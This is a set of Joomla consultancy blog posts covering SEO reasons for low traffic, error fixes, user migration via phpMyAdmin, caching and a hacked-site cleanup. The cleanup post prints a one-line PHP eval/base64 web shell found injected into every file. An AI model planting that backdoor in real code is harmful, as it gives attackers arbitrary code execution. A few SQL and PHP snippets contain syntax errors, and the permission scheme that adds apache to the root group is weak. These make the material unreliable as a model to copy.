One of the common questions we get from our customers is: “Why is it that my Joomla website doesn’t get the traffic that it deserves?”

We take a look at their websites and then we answer their question. After a while, we discovered that the reasons why a Joomla website doesn’t get the traffic it deserves are very much generic, and so we decided to write this post that will list the 21 top reasons on why a Joomla website doesn’t get traffic. So, without further delay, here are the reasons (in order of no importance):

  1. Your website is using an old version of Joomla: We have noticed that the older the version of Joomla a website is using, the less traffic this website will get. The logic behind this is that Google most likely thinks that a website that is not kept up-to-date all the time is not a serious website and thus reduces the rankings of that website for its competitive keywords in its search engine listings.

    Remedy: Always update your Joomla website to the latest version. We know that it can be hard, but the benefits far outweigh the work, the time, and the money spent on doing the update.

  2. Your Joomla website keeps on getting hacked: Website hacks are common nowadays and Google expects that any website, regardless of its importance, will get hacked at one point. Google will not penalize your website if it’s hacked once in a blue moon. But, if your Joomla website is repeatedly hacked, or if it’s left with a virus for an extended period of time, then Google will ultimately delist it entirely!

    Remedy: Upgrade/migrate to the latest version of Joomla and contact some Joomla security experts to help you secure your website.

  3. Your Joomla website doesn’t have SEF enabled: SEF ensures that your links are readable and memorizable by humans, and consequently by robots! Not enabling SEF will mean that your URLs will be very technical and will not contain any keywords relevant to your article/post (except for those keywords present in your domain name, if any). Enabling SEF is a must if you are serious about getting traffic to your website.

    Remedy: You need to enable SEF on your Joomla website. Enabling SEF is easy but can be a bit tricky because it consists of 3 steps:

    1. Enabling SEF from your configuration page,
    2. Enabling the System – SEF plugin and,
    3. Renaming the htaccess.txt file (located under the root directory of your website) to .htaccess.

  4. Your Joomla website is slow: Slow websites are not search engine favorites mostly because they have a higher than average bounce rate and because search engines often fail at indexing some of their pages. A Joomla website might be slow for several reasons, the most important one is not using caching. Caching is a necessary evil – it might cause problems and conflicts with certain extensions, but it must be enabled or else your website will be so slow that search engines (especially Google) will wonder whether it’s worthy and beneficial for their users to send traffic your way. We have seen this frequently with our customers: Those with caching enabled receive considerably more traffic than those with caching disabled.

    Remedy: 1) Enable caching. Caching is enabled in the configuration page and by enabling the System – cache plugin (enabling the latter will enable page level caching, which is the most important form of caching in Joomla). If you’re using Joomla 2.5, go with conservative caching and not with progressive caching. 2) Go with a reliable (albeit a bit more expensive) hosting – never go with cheap hosting companies that cram hundreds (if not thousands) of websites on one box.

  5. Your Joomla website doesn’t have a global meta description and keywords: If we had a dime for every Joomla website we’ve seen without meta description and keywords on the homepage then we’d be ultra-rich by now. We find this odd – because doing this will have a dramatic (positive) effect on the search engine rankings of any website, and it takes literally minutes to do. Oddly enough, there are many websites that have all the other areas optimized, with the exception of this very critical area.

    Remedy: Add are a relevant description and keywords to your Joomla website on your configuration page.

  6. Individual pages on your Joomla website don’t have a meta description and keywords: Search engines first check the meta description of your website’s pages to rank them for specific keywords. If your website’s pages don’t have any descriptions, then search engines will treat some of the content on these pages as descriptions or assume that the global description of your website is the same as that for those individual pages. While meta descriptions and keywords are not that important as before, it is still a good practice to add them.

    Remedy: Add meta descriptions and keywords to your articles (especially the important ones) under the “Metadata Options” (on the right of the edit page of any article). Now while there are tools that can do this for you automatically, it is better to do it manually because you’ll be more meticulous in choosing the content for these two fields.

  7. Pages on your Joomla website don’t have a browser page title: Imagine going to a website called thebestcoriander.com. Seeing thebestcoriander.com in the browser title for the homepage is acceptable – but seeing it on every other page is not acceptable and will harm your search engine rankings.

    Remedy: Choose a specific browser page title for every page. You can set the browser page title in the field that is (surprisingly) called “Browser Page Title” under the “Page Display Options” in the menu item for that page. Always ensure that the page title is relevant to the content of your article.

  8. You Joomla website has a lot of 404 pages: Having a few 404 pages on your website is the norm and not that harmful. But having hundreds or thousands of them means one of three things:

    1. You’re trying to game search engines.
    2. You have migrated to a newer version of Joomla but you didn’t maintain the previous link structure.
    3. Your website is very old and you have a lot of stall links.

    Any of the items above (especially the first one) can have some serious consequences on your search engine rankings and ultimately your traffic.

    Remedy: 1) Don’t game the search engines ever! They will find out automatically (that’s their job) or someone will report you! 2) Always check that your previous links that are cached in the search engine results still work. If your previous link structure cannot be maintained, then have a Joomla expert develop a System plugin that will do a 301 redirect from old links to their equivalent links in the new website. (we can do this for you, just contact us!) 3) Have a dedicated resource constantly check your Google Webmaster tools and fix all those stall links.

  9. Your website’s link structure is not stable and/or not consistent: Let’s say that you have a Contact Us menu item under an About Us menu item. So, the link to your contact us page would be the following: http://yourjoomlawebsite.com/about-us/contact-us.html. All of a sudden, you decide to move the Contact Us menu item to be at the same level of your About Us menu item, and so the link to your Contact Us page will be http://yourjoomlawebsite.com/contact-us.html. Of course, if you do this for just one article once ever year then it’s not a problem, but if you do it constantly, then you will lose rankings of the affected pages.

    Remedy: Plan your site structure very carefully before even starting the website. If you want to make some massive changes to your link structure, then do them all at once and then ensure that you have 301 redirects from the old pages to the new pages. Stability and consistency are key to maintaining a good search engine standing.

  10. Your Joomla website doesn’t have 301 redirects to redirect identical pages to the same place: Google is a bit finicky about pages with duplicate content. Pages with duplicate content tend to dilute each other’s importance if there are no 301 redirects that ensure that the importance of pages with identical content is delegated to one single page.

    Remedy: Use the “Redirect” component (which can be found in the backend of your Joomla website under Components) to create 301 redirects to pages with identical content.

  11. You’re not using URL canonicalization: URL canonicalization is another way to deal with duplicate content on your website. It tells search engines what the mother page of a page is which ensures that search engines will only index the mother page. Not using URL canonicalization will dilute the importance of your pages in the search engine’s results.

    Remedy: Implement URL canonicalization. There are many ways to do this, either customizing some 3rd party tools (such as “sh404″) or developing your own, intelligent solution to URL Canonicalization in Joomla.

  12. Your Joomla website doesn’t have a sitemap: Sitemaps, believe it or not, are still read and used by search engines to discover pages that are not linked or are deeply linked from your Joomla website (or from any other website for that matter). Admittedly, the importance of sitemaps is dwindling every day, but it’s still a good practice to have them, especially to drive traffic from search engines other than Google (such as Yahoo and Bing, which both use the same infrastructure).

    Remedy: Use the built-in extension in Joomla 1.5 or a 3rd party extension in Joomla 2.5 to develop sitemaps to your website. Note that it’s not worth it to develop a sitemap if your website has only a few pages or if all your pages have a maximum depth of 2 (in other words, any page can be discovered by just clicking on two links on your website).

  13. Your Joomla website is not using nofollow on non-important links: The more dofollow links (default types of links) you have on a particular page on your Joomla website, the less authority the linked pages will gain from these links. Think about a page’s importance as a whole pizza, if you have only one link on that page then that link will get the whole pizza. If you have two links then each of them will get half the pizza, if you have 3 links… (well, you get the point). But, there are some links that don’t deserve to gain any importance, such links include links to your Contact Us page, links to 3rd party websites, links to social websites, links to temporary contests, etc… So, to ensure that these links don’t eat anything from that pizza, all you need to do is to add a nofollow value to the rel attribute to the anchor tag of these links! This way, your other links will be stronger and will have a bigger piece of the pizza!

    Remedy: Add “nofollow” to links pointing to non-important pages, 3rd party websites, social websites, etc… You can easily do this in any Joomla editor.

  14. Your Joomla website indexes non-important content: Sometimes, some of your content steals traffic from your other, much more important content. Let’s say, for example, you have a page named Our Best Coriander – Test and it appears before your page Our Best Coriander in the search results for Best Coriander. This page is literally stealing traffic because it is getting traffic that should’ve gone somewhere else on your website (to the non-test page).

    Remedy: Always add the “noindex” directive in your robots.txt file for pages/directories that you do not wish to have their content indexed. You can also specify a “noindex” directive at the page level in Joomla by choosing “No-index, no-follow” as a value for the “Robots” field under “Metadata Options.”

  15. The HTML on your Joomla website is not valid: It is a fact that valid HTML/XHTML increases the search engine’s confidence in your website and, consequently, its search engine rankings. Invalid HTML has a slight negative impact on the search engine rankings of your website.

    Remedy: Use W3C’s online tool to check if your site’s HTML is valid or not. If it’s not (which is usually the case), then hire a designer or a Joomla developer to fix the HTML.

  16. Some of your pages on your Joomla website have errors: Pages with fatal errors usually just display the error (the actual content will not appear). Pages with warnings and/or notices will most likely break the design and affect the functionality of the website. Unfortunately, search engines are not that smart when it comes to handling errors, so they index, for example, pages with fatal errors (which makes those pages irrelevant to your visitors). Additionally, visitors who see a warning or a notice on your website may miss some of the features that your website has and will most likely label your website as unprofessional and never visit it again. This will increase your bounce rate and will ultimately reduce your traffic.

    Remedy: Have quarterly reviews to check your website for errors. Do not treat errors/warning/notices lightly because they are never good news and they can seriously harm your search engine standing. Always hire a professional to fix the errors. (do not try to fix the errors yourself)

In the first 16 points, we have discussed the technical reasons that may lead to poor traffic on your Joomla website. In the next 5 points, we will discuss the non-technical reasons. (keep in mind that non-technical reasons may have more impact than technical reasons):

  1. Your website has little, if any, original content: Original content is the main factor that drives traffic to any website. Without it, the website is considered to be shallow and redundant. Search engines do not care about indexing/promoting websites that have all or most of their contents copied from other websites.

    Remedy: Ensure that your website has no content/negligible content that is copied from other websites (also ensure that you get permission to copy that content from these other websites, because if they report your website then you might see it suddenly de-indexed or penalized). Ensure that all of your pages (or the absolute majority of your pages) have your original content – and if you must copy content from other websites, then make sure that you reference the pages on these other websites where the copied content is located. (also make sure you get the permission to do so)

  2. Most of the content on your website is not helpful: It’s not about quantity, it’s about quality – always! Hiring someone to write nonsense content to enhance the rankings of your website is a poor way to promote your website (and may dilute the value of the pages with helpful content on your website).

    Remedy: Ensure that all the content on your website is helpful to your users and that it is well written (e.g. correct grammar, no spelling mistakes, correct use of punctuation, etc…).

  3. Your Joomla website is seldom updated: When you build a website, any website, you will need to nurture it. Nurturing your website means that you ensure it is always up-to-date and that it always has new content posted. Unnurtured websites will slowly lose traffic from search engines until their traffic becomes negligible.

    Remedy: Update your website frequently. Have a blog on your website where you write about the technical challenges that you face in your workday and how you resolve them. Engage your visitors by allowing them to post comments on your articles/posts. Remove outdated content that serves no purpose (such as expired offers/expired contents/etc…).

  4. Your website has too much advertisement and little content: Advertisement is a good way to generate money, but overdoing it will reduce your profits, annoy your visitors, and affects your search engine rankings because of high bounces. If you are first seeing ads instead of seeing content when you’re visiting any of your pages, then most likely you are overdoing it!

    Remedy: Never use popups or interstitial ads on your Joomla website. People hate them and they increase bounces (search engines do notice bounces and will re-calculate the importance of your website accordingly – high bounces are inversely proportional to traffic). Keep your ads organized and avoid having too much ad zones.

  5. Your Joomla website has a poor design: You might think “How can a poor design have a negative effect on traffic?” Well, a poor design will increase bounces, and the higher the bounce rate your website has, the further down your website will appear in search engine results. A poor design has a terrible effect on the rankings of a website, regardless of its content.

    Remedy: Do not design your Joomla website yourself if you’re not a designer. Hire someone to do this for you. Use as little images as needed and substitute images for text when possible. Use soft and easy-on-the-eyes colors that complement each other. (check the Adobe Kuler tool to find beautiful and harmonious color schemes)

If you’re reading this post and you’re wondering who’s going to help you accomplish the technical steps, then fear not – we can! Just contact us and we’ll ensure that your website is technically sound from a search engine perspective in no time and for a small cost. Always keep in mind though, that even if your website is technically fully optimized for search engines, it won’t get any visitors if it doesn’t have any content – and this where your work begins!

How to Fix the “Assigning the return value of new by reference is deprecated” Notice in Joomla

One of our clients was having a blank page when he was logging in to the backend of his Joomla website and so he turned to us for help.

We enabled error reporting and we saw the following two errors:

Deprecated: Assigning the return value of new by reference is deprecated in /libraries/openid/Auth/OpenID/Consumer.php on line 274
Deprecated: Assigning the return value of new by reference is deprecated in /libraries/openid/Auth/OpenID/Consumer.php on line 276

Obviously, lines 274 and 276 had an & (an ampersand) that needed to be removed, and so we opened the Consumer.php file and changed the following function:

    function Auth_OpenID_Consumer(&$store, $session = null, $consumer_cls = null) {
        if ($session === null) {
            $session = new Auth_Yadis_PHPSession();
        }

        $this->session =& $session;

        if ($consumer_cls !== null) {
            $this->consumer =& new $consumer_cls($store);
        } else {
            $this->consumer =& new Auth_OpenID_GenericConsumer($store);
        }
        $this->_token_key = $this->session_key_prefix . $this->_token_suffix;
    }

to this:

    function Auth_OpenID_Consumer(&$store, $session = null, $consumer_cls = null) {
        if ($session === null) {
            $session = new Auth_Yadis_PHPSession();
        }

        $this->session =& $session;

        if ($consumer_cls !== null) {
            $this->consumer = new $consumer_cls($store);
        } else {
            $this->consumer = new Auth_OpenID_GenericConsumer($store);
        }
        $this->_token_key = $this->session_key_prefix . $this->_token_suffix;
    }

(Notice that we removed the ampersands that were highlighted in red in the original function.)

After fixing the function, we uploaded the Consumer.php file but we we saw yet another error: Joomla was complaining that it wasn’t able to load the authentication libraries. After some investigation, we discovered that the reason for this is that the default Joomla authentication plugin was disabled – and so we enabled it and that fixed the problem!

Now here’s a quick but very valuable piece of information – if you are seeing an error (when logging in to Joomla’s backend) that is related to OpenID or LDAP and you know that you’re not using either of them and you are using Joomla 1.5, then here’s what you need to do:

  • Go to phpMyAdmin and select the database that contains the data of your Joomla website.

  • Run the following query:

    UPDATE jos_plugins SET `access` = 1, `ordering`=1, `published`=1 WHERE `id` = 1;

  • The above query will enable the default authentication for Joomla (which is usually what the Joomla administrator wants). Now we need to disable the rest of the authentication plugins by running the following query:

    UPDATE jos_plugins SET `published`=0 WHERE `name` LIKE `Authentication%' AND `id` != 1;

    Running the above query will ensure 2 things:

    1. There won’t be other authentication plugins that will take priority over Joomla’s default authentication.
    2. Joomla will not wait for other authentication plugins (that may connect to 3rd party servers) to run if the provided credentials are incorrect.

If you’re having problems with logging in to your Joomla’s backend and if the above did not work for you then you can always contact us. Our prices are affordable, our work is super fast, our quality is professional, and we are very friendly to work with.

How to Migrate Users from Joomla 1.5 to Joomla 2.5

Some websites don’t have that much content – but they do have a lot of users. Such websites include charity websites, political websites, and some subscription websites. For these websites, it makes more sense to re-create the website from scratch in Joomla 2.5 (instead of migrating from Joomla 1.5 to Joomla 2.5 – which can be a costly and a length process) and then re-create the content on the new website.

Since the content is usually scarce, then re-creating the website is not usually a problem. However, re-creating its users can be a problem when there are many, so these users should be automatically migrated.

There are two ways to migrate users from Joomla 1.5 to Joomla 2.5:

  1. The easy and error prone way
  2. The advanced and efficient way

The easy way consists of installing an extension called userport (try googling “userport joomla”) on the old (Joomla 1.5) website and the new (Joomla 2.5) website. This extension will allow you to export your users from your old website to a CSV file and then import them in the new website.

Although this seems to be like an easy task – it’s usually not a smooth experience, here’s why:

  • CSV files are not a good way for exporting and importing sensitive data – this is because the data’s integrity can be affected when it contains the CSV separator (which can be a comma, a semi column, or a tab). It is very rare not to have this problem especially if the number of users being imported is large.

  • The ids of the users in the old database will not be preserved – they will be lost during the import process. This means that associations with other areas may be broken post-migration.

  • If two users have the same name, then the import will fail, generating the following the message: “Failed to update contact: COM_CONTACT_WARNING_SAME_NAME” Error on Joomla

The userport extension does work from time to time, but from our experience, it is better not to use it and follow the hard way to migrate your users to Joomla 2.5.

So, how do you migrate users the hard (and more efficient and less error prone) way?

The hard way consists of migrating users using phpMyAdmin. Since we have done this many times already, we have written a guide that can help anyone with some technical experience to do this migration himself. We have decided to share this guide on the itoctopus website:

  1. Export the users from the old jos_users table

    The export of the users should be done the following way:

    1. Run the following query in the SQL tab in phpMyAdmin:

      SELECT `id`,`name`,`username`,`email`,`password`,`block`,`params` FROM `jos_users` WHERE 1 AND id != 62;

      The above query will get all the users’ information from the old table (we excluded the user with the id 62 because it’s the default super administrator on Joomla 1.5 and we already have a super administrator on Joomla 2.5).

    2. Once the query is run, you will see an “Export” button at the bottom of the page under Query results operations – click that button (please note that there’s another “Export” button just below the query results which shouldn’t be used because it doesn’t export the results of the current query).

    3. You will now see a page titled “Exporting rows from “jos_users” table”. Choose “Custom – display all possible options”, and then scroll down and choose “View output as text”, and then uncheck “CREATE TABLE options” and finally click on “Go” at the bottom of the page.

    4. You now have a query that inserts all the users but it’s still pointing to the old jos_ table. Copy and paste that query in a text editor and replace jos_ with the table alias of your new Joomla website. You need to do a replace all as there might be several instances of jos_ in that query.

    5. You are now ready to import the users!

  2. Import the users into your new Joomla table

    Now that you have prepared the data in the steps above, all you need to do to import the data is the following:

    1. Paste the query generated above in the SQL tab in phpMyAdmin and run it. This query will import the users, but we will need to add those users to a group – usually group 2. (If you care about which group each user belonged to then contact us and we’ll help you do it as we have not covered this scenario here).
    2. To add all the exported users to group “2″, follow the below steps:

      1. Run the following query in the SQL tab:

        Select `id`, 2 FROM `jos_users` WHERE 1

      2. Export the results of that query using the method described above for exporting users. (e.g. press on the “Export” button below and then choose “Custom”, click on “View Output as Text”, uncheck “CREATE TABLE”, and click on “Go”)

      3. Copy the generated query from the above step into a text editor and change the following line:

        INSERT INTO `jos_users` (`id`, `2`) VALUES

        to this one:

        INSERT INTO `[table_prefix]_user_usergroup_map` (`user_id`, `group_id`) VALUES

        [table_prefix] should be replaced with the prefix of your tables for the new Joomla website.

      4. Now copy the modified query to the SQL tab in phpMyAdmin and run it.

      5. You have finished the user migration! (Congratulations!)

Clearly the advanced way may take some more time especially if your technical experience is not that strong – but if you do have a solid technical experience, then it should only take a little of your time!

Some caveats:

  • User migration using the userport extension will not keep the original ids of the users – which means that all the content (such as articles) associated with one user might be associated with another after the user migration (in the new website).
  • User migration using the phpMyAdmin method will maintain id association with the exception of the id of the super administrator.

  • Since ids are unique make sure you filter the query to insert users for any ids that already exist in the new table prior to running it – otherwise the query will crash during execution – and not all users will be imported.

Migrating users from Joomla 1.5 to Joomla 2.5 is easier than you might think – but we do understand if you don’t want to indulge yourself in the land of not-so-solid extensions and phpMyAdmin, and that’s why we’re here to help! All you need to do is to contact us and we’ll promise you that we’ll get your users exported and imported in no time and with little cost! We’re very reliable, we love our clients, and our clients love us!

“Form Component Not Available” Error in RSForm

We are currently migrating many Joomla websites to version 2.5 – in fact, migrations are taking the bulk of our time nowadays! Naturally, we are facing issues during these migrations, and one of the issues that we have faced today was in the RSForm extension; we easily migrated all the forms but we just couldn’t get the PayPal RSForm plugin to work!

We uninstalled and reinstalled RSForm (the component and the plugin) as well as the PayPal plugin several times to no avail. The problem was that for any PayPal component (in the form components when viewing the form in edit mode) the message “Form Component Not Available” was displayed. Additionally, when we clicked on the “Single Product”, the “Multiple Products”, or the “Total” components (under PayPal) we were seeing an empty (and gray) General tab, instead of seeing something like the below:

The PayPal Multiple Products component in RSForm

Figure 1: The PayPal “Multiple Products” component in RSForm in action!

Of course, things were not better on the frontend of the website, because any RSForm that had PayPal components did not work (totals were not being added, currencies did not display, and, last but not least, forms were not submitting).

After a lot of debugging, we discovered the reason behind this problem, we had to copy the tables jos_rsform_component_types and jos_rsform_component_type_fields to the corresponding tables for the Joomla 2.5 website (in our case it was the vier3_rsform_component_types and vier3_rsform_component_type_fields tables). Doing so was necessary because these tables hold all the necessary information to display the PayPal components.

But, shouldn’t there a better and easier way to do so?

Well, there should have been – but for mysterious reasons neither the RSForm installer nor the RSFPPayPal plugin automatically inserted these values in the database – at least for the version that we have.

So – doing the above fixed the problem – but we ran into another major issue: The settings for PayPal in RSForm were not saved. Everytime we went to the PayPal tab under the Configuration page in RSForm and tried to save any setting (for example, the PayPal Email Account) it wasn’t working. After some thorough investigation, we discovered that the root of the problem lied in RSForm trying to update some rows in the vier3_rsform_config with our values – but these rows didn’t exist. The rows that RSForm tried to update had a SettingName such as paypal.email, paypal.currency, paypal.thousand, etc… Those rows should’ve been created by the RSForm installer or the plugin, but (again) they were not! So what we did was that we created these rows manually. In case you want to do the same, then here is the SettingName of each one of these rows:

  • paypal.email
  • paypal.test
  • paypal.currency
  • paypal.thousands
  • paypal.decimal
  • paypal.nodecimals
  • paypal.return
  • paypal.cancel
  • paypal.language
  • paypal.tax.type
  • paypal.tax.value

We still think that RSForm is a solid component – although this was the second time we were disappointed with this product – we hope it’s the last time!

If you’re having problems with your RSForm (Pro) extension (or if you need to do some customizations on this extension), then we’re here to help! All you need to do is to give us a call or shoot us an email, and you’ll see how we’ll solve the problem for you in no time. Our rates are very affordable, our reputation is stellar, our work is fast and professional, and we really care about your business! Try us!

Why It’s Important to Use SEF in Joomla

We are currently migrating a large Joomla website with many pages to Joomla 2.5. Nearly every page has (unoptimized) links to other pages that look like the following:

index.php?option=com_content&view=article&id=[n]&Itemid=[m]

Although the link above is not that pretty, it’s valid and it works. However, it only works before migrating the website (it will stop working after the migration) for the simple reason that article ids change during the migration (it’s really hard and inconvenient to have the same article ids during the migration).

The problem can be solved by creating a script that does the following:

  • Parse all articles for internal links using regular expressions.
  • Extract the article id of each link.

  • Check the alias (or the title) of the article id in the old jos_content table.

  • Get the id of that article in the new jos_content table based on the alias (or the title).

  • Replace the old id with the new id in each article.

Note that the script above must not be interrupted and must be run in “one-shot”, because if it’s interrupted and then re-run, then the links will point to the wrong articles. If you have many articles and if you’re afraid that the script will get interrupted during run-time, then it’s better to add a temporary field to the jos_content table for the Joomla 2.5 website that is set to 1 when the links in the article are fixed.

If you think that the script above is too slow/too inefficient then you’re right. The script can be enhanced by creating a temporary 1-to-1 table called jos_old_to_new that will contain 2 fields: old_id (which is the id of an article in Joomla 1.5) and new_id (which is the id of the article in the new database), this will prevent the script from doing complex and costly comparisons everytime it tries to find the id of the new article (it will just get it from that table).

Now while explaining the above solution to the system administrator (who was a very technical person) of the website we were migrating, he told us: “Why don’t you just do on-the-fly redirection of all the links? Isn’t that easier?” In other words, he wanted to do the following:

  • Leave the content as it is without changing the links.
  • Get the URL of the new link (based on the id of the equivalent article) when someone clicks on a link in an article that has an id that is less or equal to the last article migrated.

  • Redirect to that URL using a 301 redirect.

We immediately explained to the system administrator that this solution is not efficient and is error prone because if someone makes a manual change to an old article and inserts a new URL then that URL will be assumed as an old URL by the system and it’ll be redirected to another URL (that may or may not exist).

How will using SEF solve the above problem?

If you’re using SEF, then (most likely) you don’t have the id of the article anywhere in the link. You just have its alias, so the links won’t change, and even if they do, then the change will not be in the alias (since aliases remain the same during the migration), so all one needs is to develop a system simple plugin to translate links.

Using SEF is an excellent practice not only for SEO but also to ensure that your links remains the same in the next version of Joomla. Not using SEF will cost you time (it takes about a day or two to migrate links) and money – not to mention, of course, search engine rankings!

If you need help migrating your links on your Joomla website, or you need a professional company to migrate your Joomla website altogether, then look no further. We have migrated hundreds of Joomla sites so far and we can definitely migrate yours (regardless of its size). Just contact us and let us prove to you that we are professional, fast, reliable, and not that expensive!

“Call to undefined method K2ModelItemlist::getCategoryChilds()” Error After Upgrading K2

After upgrading K2 of a Joomla website for a major international news agency to the latest version, we encountered the following error when testing the website:

Fatal error: Call to undefined method K2ModelItemlist::getCategoryChilds() in /modules/mod_jxtc_k2contentwall/mod_jxtc_k2contentwall.php on line 133

Obviously, the error states that a function that is currently used (called getCategoryChilds) no longer exists in the new K2. We did some investigation and we discovered that the function is now named getCategoryChildren. So, all that we needed to do was to replace line 133 in the file mod_jxtc_k2contentwall.php that exists under the /modules/mod_jxtc_k2contentwall/ directory with this line:

$aux = K2ModelItemlist::getCategoryChildren($id, true);

Replacing line 133 with the above code fixed the problem, but we have to say that we were disappointed with K2 since it is an extension which is known to be backward compatible with its previous versions. We know that the developers wanted to be grammatically correct (plural of child is children, and not childs) and had the best intentions when they changed the name of the function, but by doing so they broke some legacy code.

A smart way of addressing the problem would have been creating another method in the K2ModelItemlist class that calls the new function in order to maintain support for previous code. Here’s the method:

function getCategoryChilds($id, true){
	return K2ModelItemlist::getCategoryChildren($id, true);
}

Implementing the above function will ensure that websites using the legacy getCategoryChilds function will not be broken when they upgrade K2.

Again, we think that K2 is one of the better extensions out there (especially when it comes to backward compatibility), and that’s why we were disappointed with that oversight.

By the way, we would like to take the opportunity to state that K2 upgrades are much more smoother than Joomla’s migration (which are very painful and take a lot of time). K2 items are migrated properly, comment association with articles is maintained, and the look and feel does not change because it is controlled by K2’s template.

If you’re upgrading/migrating your Joomla website, or just your K2 component, and you’re facing problems, then we urge you to contact us! Our prices are affordable, our work is professional, we are very friendly, and we are very, very fast!

Are All Your Joomla PHP Files Hacked?

We spent the past weekend working (yes, we work on weekends at itoctopus – in fact, we work all the time!) on two websites (each belonged to a high profile company in the US – one of them had 170,000 pages and the other had over a million pages indexed with Google). Both of these websites were hacked.

What was interesting that it was the same type of hack on both websites but it wasn’t the usual type (where the .htaccess and/or index.php and/or framework.php files is infected). It was a new type, where every single file falling under the Joomla website was infected (including files that did not really belong to Joomla). Each and every file with a .php extension was injected with the following code:

<?php eval(base64_decode($_REQUEST['varname'])); ?>

The above seemingly innocent code is far from being innocent – it allows a malicious visitor to freely execute any code on the server by simply passing base64_encoded PHP satement in varname (using GET or POST). The malicious visitor will be able to do the following (the list is not exhaustive as the possibilities are only limited by the permissions that Apache and the MySQL user have on the filesystem and the database respectively):

  • Add viruses/malware to the website

  • Delete/alter files/directories that Apache has write permissions on

  • Drop/alter the database

But, how did this happen?

Both of these websites were running Joomla 1.5.26 – a no longer secure version of Joomla. We think the situation got to this point (where each file was hacked) the following way:

  • A malicious visitor exploited the vulnerability in TinyMCE (the HTML editor) in that version of Joomla to upload a malicious file.
  • The malicious file then ran on all the website and injected the malicious eval code in the top of each and every page.

As you can see – it wasn’t a hard job to do that simply because both websites had open and well-known security holes.

What did we do to fix the problem?

Upgrading to to Joomla 2.5 was out of the question because it was going to take at least a week to do so for each website. Cleaning up the website was also out of the question because we literally had to clean thousands of files and we didn’t want to do it through a script because we were afraid that some files might not be cleaned properly and that some files might be corrupted by the script. Our only option was to revert to a backup.

So here’s what we did to fix the problem on each website:

  • We nuked (e.g. completely removed) the Joomla directory. This step was necessary because we wanted to be sure that the website is having a fresh and clean start.
  • We restored the website from the last clean backup. Usually hosting companies keep backups for websites hosted with them for the past 7 days.

  • Once the website was restored, we immediately ssh’d (as root) to the server hosting the website, and we did the following:

    • We issued a chown command to recursively change ownership for all the files and the directories falling under the website to root.
    • We changed permissions on all the files to 664. This means that only root and users belonging to the root’s group will be able to modify these files. We ensured that Apache (through its UNIX user, apache) did not belong to the root’s group (which should never be the case in a sound hosting environment). This way we made sure that the user apache is not able to write to any file on the filesystem – essentially reducing the potential of a code injection hack (in files) to 0 since all these malicious attacks run as the user apache.

    • We changed the permissions on all the directories to 775. (We’ll explain later why we chose these permissions instead of 755).

    • We gave the user apache write permissions to the following directories:

      • cache
      • images
      • logs
      • tmp

      This is necessary because Joomla will not run properly if it doesn’t have write permissions to at least the above directories as Joomla 1) needs to write to the cache directory if caching is enabled, 2) occasionally needs to write to the images directory (if someone uploads an image through the media manager, for example), 3) needs to write to the logs directory if logging is enabled, and 4) always needs to write to the tmp directory to store session information. Now the questions is, what will happen if these directories where hacked? The answer is simple: it doesn’t matter. Because as long as the PHP files are owned by root and can only be changed by root and its group members, then the above directories will operate in silos – meaning that if something bad happens in any of these directories, that bad thing will remain inside that directory and will not contaminate other directories/files.

But how can extensions be installed?

To be able to install an extension, Joomla needs write access to core Joomla directories (such as components, modules, plugins, etc…). Obviously, when we apply the permission changes above, extensions can no longer be installed through Joomla’s interface. So, in order to overcome this limitation, the user apache needs to be temporarily added to the UNIX group root (that’s why we chose 775 as the permissions for the directories and not 755), and then the Joomla administrator can install the extensions that he wants. After that is done, the apache user needs to be removed from the root group.

But what if a malicious file was added to one of the directories that Joomla can write to?

This scenario is always possible if you’re running a compromised version of Joomla. As we stated above, this will not affect the normal day-to-day operation of the website because these directories will be silo’d. However, this does not mean that it’s acceptable to allow for hacked files to be thrown there, because this will make your website seem as a parasite host. In order to avoid that, you will need to run a cron job that will check all of your directories (that apache has write access to) for uploaded scripts and delete them immediately. Ideally, the script should run every 30 minutes and should email you whenever it deletes something as it might be a false positive.

But what about database hacks?

This post only covers how to secure the filesystem of a Joomla website (which is commonly hacked nowadays). Database hacks need to be addressed at the PHP code level (e.g. checking and fixing the code of the 3rd party extensions that you have installed on your Joomla website).

If your Joomla website is hacked – even it’s a very large website – then we can fix it for you. Contact us and we’ll start working on it immediately. We will ensure that by the time we finish working, your website will be much safer than before, and literally un-hackable at the filesystem level. Our rates are reasonable, our work is professional, and we will treat your website as if it’s ours!

Why Progressive Caching in Joomla Should Be Avoided (In Most Cases)

If you have visited the Global Configuration page on a Joomla 2.5 website, then you might have noticed that there are now 2 types of caching:

  1. Conservative caching
  2. Progressive caching

We often get calls from our clients asking us what kind of caching to use – we immediately tell them that they should enable the System – Cache plugin and only use conservative caching and never, ever use progressive caching unless they know that they need it. But, as you might’ve guessed, the conversation doesn’t end here, because, like a “forbidden fruit”, they want to know more why they should avoid progressive caching. In fact, when we tell them not to use the aforementioned type of caching, they are more interested in knowing more about it than conservative caching, which we told them to use.

And so we start by explaining the difference between conservative caching and progressive caching:

Conservative caching is the standard type of caching. Here’s how it works:

  • A visitor visits a page on your website.
  • Joomla checks if there is a non-expired version of that page in its cache directory.
  • If the cached page exists (and it’s not expired), then Joomla will serve it to the visitor – otherwise, a cached version of the page is created, and that cached version will be served to the visitor, and to every other consequent visitor, as long as it’s (by “it” we mean the page) not expired.

The above scenario is typical and is how most developers implement caching.

Progressive caching works the following way:

  • A visitor visits a page on your website.
  • Joomla checks if a cached version of that page exists for that visitor and it’s not yet expired.
  • If that cached page exists, then it’ll be served to the visitor, otherwise, Joomla will create the cached page for that specific visitor and then will serve it to him.
  • If another visitor (who has never been on that page) visits that page, then Joomla will not serve the cached page of the previous visitor, instead, it will create a cached version of that page specifically for that user, and then serves it to him.

As you can see, progressive caching only offers a performance improvement if the same visitor visits the same page within the lifetime of the cached version of the page. In most scenarios, progressive caching results in a huge performance hit that is far worse than disabling cache, simply because for nearly every visit, Joomla has to process the request, create the cached version of the page, and then serve the page to the visitor (instead of just processing the request and serving the page in the scenario where cache is disabled). Oh, and don’t forget about all the cache files generated by Joomla – you can only imagine how many of these files you will have in your cache folder if you have a high traffic news website (that has many pages).

Now you might wonder, under which circumstances is progressive caching useful? Well, imagine that you have a video website (similar to youtube). You want to show each visitor customized pages based on his location and/or browser settings and/or plugins installed. So, for every page that the visitors loads, you use this information to generate a customized version of that page and you cache it. If the visitor visits that same page again, then Joomla doesn’t need to redo the work to generate the customized page.

Of course, there are many scenarios under which progressive caching is really useful, but in our opinion, progressive caching should only be considered if the website receives many visitors and if those visitors are mostly repeat visitors. Using it in other cases will cause a significant hit on the website’s performance.

We know that caching in Joomla can be quite daunting – but fear not, we’re here to help! Just contact us if you have problems with your Joomla caching (or if you just need advice). We’re super fast, we’re very helpful and friendly, we know our Joomla, and our prices are very, very affordable!
